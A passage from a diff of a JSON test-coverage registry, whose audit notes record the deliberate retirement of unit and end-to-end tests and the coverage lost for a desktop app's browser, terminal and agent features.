[\"requires a distro-only marker from the launched agent\"]\n },\n {\n \"file\": \"tests/e2e/terminal-windows-shell-paste-ownership.spec.ts\",\n \"assertions\": [\"retains WSL paste ownership after changing the default shell\"]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"gh workflow run windows-wsl-e2e.yml\",\"pnpm exec playwright test tests/e2e/golden-journeys/golden-tab-bar-agent-launch.spec.ts tests/e2e/terminal/input/terminal-windows-shell-paste-ownership.spec.ts --config tests/playwright.config.ts --project=electron-headless --workers=1\",\"gh run view 34031806291 --log\"],\"testFiles\":[\"tests/e2e/golden-journeys/golden-tab-bar-agent-launch.spec.ts\",\"tests/e2e/terminal/input/terminal-windows-shell-paste-ownership.spec.ts\"],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"windows\"],\"coveredProviders\":[\"wsl1\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Verifier rejects actual8pass1fail CI report and accepts actual9pass report. Unit contracts reject skips, missing or substituted scenarios and retried passes. No full application fault-mutation proof.\"},\"flakeHistory\":{\"status\":\"soaking\",\"evidence\":\"Initial permanent-lane diagnostic8passed1failed on missing PTY before changing settings. After requiring guest-reader readiness before mutation, run34031806291 passed9/9. Two earlier setup validations also passed9/9. Long-term CI history remains missing.\"},\"runtimeBudget\":{\"p95Seconds\":1800,\"scope\":\"CI job timeout; measured p95 is not established\"},\"performanceBudget\":{\"required\":false,\"evidence\":\"CI-only provisioning and routing; no application runtime changes.\"}}" ], "demotionRule": "Keep experimental if provisioning or an execution flakes; never promote by skipping a case, raising timeouts, or retrying until green." }, @@ -13386,60 +11881,37 @@ "id": "browser.packaged-mixed-version-placement", "title": "Packaged browser placement across versions", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "browser-runtime", "layer": "electron-packaged", "surfaces": ["paired browser placement"], "platforms": ["linux", "macos", "windows"], "providers": ["paired-runtime"], - "coveredPlatforms": ["linux"], - "coveredProviders": ["paired-runtime"], - "coverageNotes": "Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status 